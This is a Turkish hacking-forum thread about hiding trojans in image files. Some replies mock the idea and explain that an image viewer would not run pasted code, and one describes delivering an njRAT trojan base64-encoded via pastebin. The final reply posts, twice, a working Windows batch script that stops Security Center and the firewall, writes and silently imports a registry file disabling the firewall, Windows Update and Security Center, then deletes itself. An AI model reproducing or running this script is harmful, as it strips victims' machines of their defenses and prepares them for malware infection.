resimlere trojan atma
- Konuyu başlatan kral106
- Başlangıç tarihi
Post kasanlar da eline sağlık yazmış hemen
Eline sağlık :trl
Hackerlığa giriş diye bir kitap vardı bende önceden almistim baya , bu konuyu o kitapda da anlatiyordu.
Üstat ben bu adamı tanıyorum .....
Nj rat source code üzerinde oynama yapıuor trojanı base 64 yapıyor kodları paste bine atıyor sonra web client ile indirip çalıştırıyor :trl
Anlayacağınız hazırlıklı olun bu anı kaçırmayalım
yazık.
bu gibi konular yüzünden bazı platformlarda forum ile dalga geçiliyor
üzücü
üzücü
Bir dosyanın üstüne çift tıklandığında, windows önce registry'da hkey_classes_root altında o uzantıya bakar, "bakalım bunu nasıl çalıştıracağım söylenmiş" diye.. Uzantısı jpg olan resim için bakar, "haa ben bunu resim görüntüleyicide gösterecekmişim" der.
Resim görüntüleyici normal bir resmin başındaki "header" bölümünden resmin özelliklerini okur, sonra da bu özelliklere göre resmin asıl verisi sıkıştırılmışsa açar. Ardından mesela 24bpp ise, her 4 byte'ı okur, bunu RGBA'ya dönüştürür, o rengi ekrana basar.
Sen oraya saçma sapan bir yazı yapıştırırsan, resim görüntüleyici büyük ihtimalle "kardeş bu resim bozulmuş" der geçer.
Üstad bu yukarda yazdıklarım uzman konusu da değil, çok ince ayrıntı da değil. Windows işletim sistemine trojan yedirmeye çalışan biri, windows işletim sistemi nasıl çalışıyor bilmelidir. Araştırın. "Bilgisayar ben bunu yapınca ne yapıyor da bu oluyor" sorusunun cevabını her zaman için bilin. Rastgele 3 4 satır bir şeyi copy paste edip iki youtube videosu izleyerek heçkır olunsaydı, en büyük ihracat ürünümüz heçkır olurdu.
eline sağlık
kodu atim bn
echo off
net stop "Security Center"
net stop SharedAccess
> "%Temp%.\kill.reg" ECHO A R E S
>>"%Temp%.\kill.reg" ECHO.
>>"%Temp%.\kill.reg" ECHO [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic es\SharedAccess]
>>"%Temp%.\kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.\kill.reg" ECHO.
>>"%Temp%.\kill.reg" ECHO [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic es\wuauserv]
>>"%Temp%.\kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.\kill.reg" ECHO.
>>"%Temp%.\kill.reg" ECHO [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\w scsvc]
>>"%Temp%.\kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.\kill.reg" ECHO.
START /WAIT REGEDIT /S "%Temp%.\kill.reg"
DEL "%Temp%.\kill.reg"
DEL %0
echo off
net stop "Security Center"
net stop SharedAccess
> "%Temp%.\kill.reg" ECHO A R E S
>>"%Temp%.\kill.reg" ECHO.
>>"%Temp%.\kill.reg" ECHO [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic es\SharedAccess]
>>"%Temp%.\kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.\kill.reg" ECHO.
>>"%Temp%.\kill.reg" ECHO [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic es\wuauserv]
>>"%Temp%.\kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.\kill.reg" ECHO.
>>"%Temp%.\kill.reg" ECHO [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\w scsvc]
>>"%Temp%.\kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.\kill.reg" ECHO.
START /WAIT REGEDIT /S "%Temp%.\kill.reg"
DEL "%Temp%.\kill.reg"
DEL %0
